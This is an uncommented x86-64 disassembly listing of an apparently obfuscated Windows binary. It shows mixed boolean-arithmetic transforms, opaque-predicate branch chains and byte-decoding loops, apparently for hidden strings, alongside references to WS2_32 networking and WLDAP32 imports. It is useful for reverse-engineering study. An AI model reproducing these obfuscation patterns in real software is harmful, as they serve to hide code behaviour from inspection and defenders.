movabs rcx, 0xdb1df3485cb1e075
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
movabs rdx, 0xffb86abda8856069
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x21
add r10b, dl
jmp 0x140088dae
movabs rcx, 0xb6a01ded9a42a057
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x140088d17
movabs rcx, 0x48ed59a8402c6051
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x37
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0x6d87d11d8bffe045
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x140088c96
movabs rdx, 0x92224892d7d36039
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x71
add r10b, dl
movabs rcx, 0x91767bf39f79e135
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x73
add r11b, cl
mov byte [rbp + rbx + 0xe50], r11b
inc r9
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0x246f844d7dbd2033
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
inc r9
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0x4909fbc2c990a027
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x11
movabs rcx, 0xff294038f990213b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x63
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xe50], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
movabs rcx, 0x6da473381564201b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x43
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
mov r11, rdx
movabs rcx, 0xfff1aef2bb4de015
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x6d
add r10b, cl
movabs rdx, 0x6cdc047e53a66141
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x39
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xe50], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x23b566a100b18144
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe50], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
movabs rcx, 0x248c266807216009
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x3f
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
movabs rcx, 0xfeeffc03e6c7a18f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x17
jmp 0x140088010
movabs rcx, 0x913d37be8cb16189
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x41
jmp 0x140088000
lea rsi, [rbp + 0x1799054]
jmp 0x140088ec8
lea rsi, [rbp + 0x84b057]
jmp 0x140088ec8
lea rsi, [rbp + 0xe50]
lea rdx, [0x14021ae70]
lea rcx, [rbp + 0x640]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x80]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006b0b0
mov r14, rax
mov byte [rbp + 0xe78], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xe79], gethostname
mov byte [rbp + 0xe7a], 0x3f
mov byte [rbp + 0xe7b], 0x3f
mov byte [rbp + 0xe7c], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xe7d], 0
mov byte [rbp + 0xe7e], reloc.WS2_32.dll_recv
mov byte [rbp + 0xe7f], 4
mov byte [rbp + 0xe80], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe81], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe82], 0xf8
mov byte [rbp + 0xe83], gethostname
mov byte [rbp + 0xe84], 0x9a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe85], xmm0
mov dword [rbp + 0xe95], eax
mov word [rbp + 0xe99], ax
movabs r15, 0xcbd822e983f7de37
movabs r12, 0x8e65dae5142bb2a9
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0xc090632fb0f36c1b
cmp rdi, 0x23
jae 0x140089d13
movzx ebx, byte [rbp + rdi + 0xe78]
mov r10, rbx
cmp r8, rdi
ja 0x140089d07
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140089000
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x43
jmp 0x140089040
je 0x140089c80
inc rax
cmp r8, rax
je 0x140089be2
lea rax, [r9 + 5]
cmp r8, rax
je 0x140089b83
lea rax, [r9 + 6]
cmp r8, rax
je 0x140089b5a
lea rax, [r9 + 3]
cmp r8, rax
je 0x140089b2e
nop dword [rax]
cmp r9, rdi
ja 0x140089cfb
lea rax, [r9 + 6]
cmp r8, rax
jae 0x140089074
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7f
add r11b, dl
jmp 0x1400890b0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140089adc
lea rax, [r9 + 3]
cmp r8, rax
je 0x140089ab3
lea rax, [r9 + 5]
cmp r8, rax
je 0x140089a90
lea rax, [r9 + 6]
cmp r8, rax
je 0x140089a69
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008972d
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140089709
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400896d8
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400896af
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008968a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140089667
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008962f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008960b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400895e3
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400895af
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400890c0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 3]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140089cd8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140089cb5
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400892c0
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140089299
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14008927b
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008954b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400894ed
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008949d
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008946f
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400890c0
lea r8, [r9 + 9]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008943b
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140089413
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400893ef
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400893b7
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140089394
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14008936f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140089346
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140089315
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400892f1
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400890c0
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x5a]
jmp 0x1400890c0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x61
add r11b, dl
jmp 0x1400890b0
movabs rdx, 0xd451485b244da73
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x25
add r11b, dl
jmp 0x140089040
movabs rdx, 0x8c244e26505e023d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
movabs rcx, 0xc090632fb0f36c1b
jmp 0x140088fce
movabs rdx, 0x5ec1174c1fbef1b8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 8
jmp 0x140089afb
movabs rdx, 0xdda050ecbdd81982
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140088fb2
movabs rcx, 0x5c7f8a8d5bf1414c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
dec rdi
inc rdi
jmp 0x140088fb2
movabs rdx, 0xdb5ec42dfa0a6916
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140089ba2
movabs rcx, 0x5a3dfdce982390e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x140089bca
movabs rdx, 0xd91d376f363cb8aa
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140088fb2
movabs rdx, 0x57fc710fd455e074
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
jmp 0x140089c05
movabs rdx, 0xd6dbaab0726f083e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089c38
movabs rcx, 0x55bae45110883008
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
movabs rcx, 0x92e8f4629bc71381
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
mov byte [rbp + rdi + 0xe78], r11b
inc rdi
jmp 0x140088fb2
movabs rdx, 0x11c82e0339e03b4b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xd
add r11b, dl
cmp r9, 2
jb 0x14008948d
movabs rdx, 0xb987850080fd12c2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140089afe
movabs rdx, 0x90a767a3d7f96315
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x6d
add r11b, dl
cmp r8, 0x61
jae 0x140089a22
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x140089947
movabs rdx, 0xae3fc546adf8a0a6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400894bc
movabs rdx, 0xf86a14476128adf
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x19
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 6
je 0x140089a4a
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x140089875
movabs rdx, 0xe267a25d2a00c26f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 9
jmp 0x14008950c
movabs rcx, 0xc710d17917cf354a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 6
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
movabs rdx, 0x45f00b19b5e85d14
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089c38
movabs rdx, 0xc4cf44ba540184de
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
jmp 0x140089c05
movabs rdx, 0x43ae7e5af21aaca8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140088fb2
movabs rcx, 0xc28db7fb9033d472
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
jmp 0x140089bca
movabs rdx, 0x416cf19c2e4cfc3c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140089ba2
movabs rcx, 0xc04c2b3ccc662406
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
dec rdi
inc rdi
jmp 0x140088fb2
movabs rdx, 0x3f2b64dd6a7f4bd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140088fb2
movabs rdx, 0xbe0a9e7e0898739a
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x36
jmp 0x140089afb
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14008975e
movabs rdx, 0xc090632fb0f36c1b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x43
jmp 0x14008956a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008979f
movabs rcx, 0x97b045d307efbc6e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 2
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
inc rax
cmp r8, rax
jne 0x1400897d0
movabs rdx, 0x99f1d291cbbd6cda
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140089c05
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140089801
movabs rdx, 0x1d5425aff171f57c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
jmp 0x140089ba2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14008983c
movabs rdx, 0x9e74ec0f5358cdb2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x140088fb2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008956d
movabs rcx, 0x1f95b26eb53fa5e8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
inc r9
dec rdi
inc rdi
jmp 0x140088fb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400898a6
movabs rdx, 0x638868bc8be79aa5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7d
jmp 0x140089afb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400898d7
movabs rdx, 0xe6eabbdab19c2347
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0xf
jmp 0x140089ba2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140089907
movabs rcx, 0x680b823a1382fb7d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6b
jmp 0x140089bca
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14008950f
movabs rcx, 0xe92c48997569d3b3
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140088fb2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140089988
movabs rcx, 0x2f608ba60fdf78dc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
inc rax
cmp r8, rax
jne 0x1400899bb
movabs rdx, 0xb081520571c65112
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x140089c38
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400899ed
movabs rdx, 0x31a21864d3ad2948
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140089c05
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400894bf
movabs rdx, 0x33e3a523977ad9b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089bca
movabs rdx, 0x3aa84b5fe2e3eaf8
add rdx, rdi
movzx eax, bl
and al, dl
movzx ecx, byte [rbp + rdi + 0xe78]
sub cl, al
add cl, 0x1c
lea r11d, [rcx + rcx]
jmp 0x140089ba2
movabs rcx, 0xbbc911bf44cac32e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rcx - 0x42]
jmp 0x140089c08
movabs rdx, 0xd4de55e4932e9fe7
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x51
add r11b, dl
jmp 0x140089c38
movabs rcx, 0x517c02c66d7a1745
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1d
jmp 0x140089bca
movabs rcx, 0x4f3a7607a9ac66d9
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x11
dec rdi
inc rdi
jmp 0x140088fb2
movabs rdx, 0x4cf8e948e5deb66d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 5
add r11b, dl
movabs rcx, 0x7a17e83031f07edd
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xb
add cl, bl
mov byte [rbp + rdi + 0xe78], cl
inc r9
dec rdi
inc rdi
jmp 0x140088fb2
movabs rcx, 0xc996962ac02a2dcb
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x73
inc r9
dec rdi
inc rdi
jmp 0x140088fb2
movabs rcx, 0x4875cfcb5e435595
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x13
dec rdi
inc rdi
jmp 0x140088fb2
movabs rdx, 0xc755096bfc5c7d5f
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x67
add r11b, dl
movabs rcx, 0xfb38ae8f93d75713
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x7b
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0xe78], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140088fb2
mov rbx, r10
movabs rdx, 0x43f2b64dd6a7f4bd
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2b
add r11b, dl
movabs rdx, 0x7c5974eef5be2f49
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
inc cl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xe78], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x3ce9d81ea6b19b64
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xe78], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
movabs rcx, 0x41b1298f12da4451
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
movzx eax, byte [rbp + rdi + 0xe78]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140088fb2
movabs rcx, 0xb0387c6ee772a07
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x31
jmp 0x140088fae
movabs rcx, 0x89e2c1678c9051d1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x49
jmp 0x140088f9e
lea rcx, [rbp + 0x14cb09c]
jmp 0x140089d1a
lea rcx, [rbp + 0x1401cb7]
jmp 0x140089d1a
lea rcx, [rbp + 0xe78]
mov dword [rbp + 0xf68], 0x41200000
mov dword [rbp + 0xf70], 0x3f800000
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf68]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf70]
mov r8, r14
mov edx, 8
call fcn.1400375c0
mov byte [rbp + 0xea0], 0x75
mov byte [rbp + 0xea1], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xea2], 0x88
mov byte [rbp + 0xea3], 0xb5
mov byte [rbp + 0xea4], 0x44
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xea5], xmm0
mov qword [rbp + 0xeb5], rax
mov dword [rbp + 0xebd], eax
mov word [rbp + 0xec1], ax
movabs rsi, 0x45345c001d397ffc
movabs r12, 0x27ddec000164430c
movabs r14, 0xa57f2400c1706784
movabs r15, 0x55c34c00bea7e16c
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14008ac2e
movzx ebx, byte [rbp + rdi + 0xea0]
mov r10, rbx
cmp r8, rdi
ja 0x14008ac22
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140089e27
lea rcx, [rdi + r12]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x54
jmp 0x140089e80
je 0x14008ab8c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008aaf3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008aaba
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008aa7f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008aa21
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008a9f3
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008a9c2
nop dword [rax + rax]
cmp r9, rdi
ja 0x14008ac16
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x140089eb5
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089ef0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008a96b
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008a943
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008a90b
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008a8d2
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14008a534
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008a511
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14008a4fd
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008a4d4
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008a4c5
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008a48a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008a457
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008a434
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008a40c
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008a3d8
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140089f00
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14008abee
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008abc6
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14008a0ef
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14008a0d0
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14008a0b1
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008a379
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008a323
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008a2d2
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14008a2a4
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140089f00
lea r8, [r9 + 0x28]
lea r9, [r8 + 9]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008a26b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14008a243
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14008a220
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008a1e8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14008a1b2
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14008a18f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008a161
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008a135
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14008a112
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140089f00
lea r8, [r9 + 5]
lea r9, [r8 + 1]
jmp 0x140089f00
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089ef0
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140089e80
movabs rcx, 0x6077400bbdf5b54
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140089df4
movabs rcx, 0x29a2e000e9cbffe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14008a98e
movabs rcx, 0xd9e70800e70379c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
inc r9
dec rdi
inc rdi
jmp 0x140089de2
movabs rdx, 0x8a2b3000e43af3b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140089de2
movabs rcx, 0x3a6f5800e1726d98
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
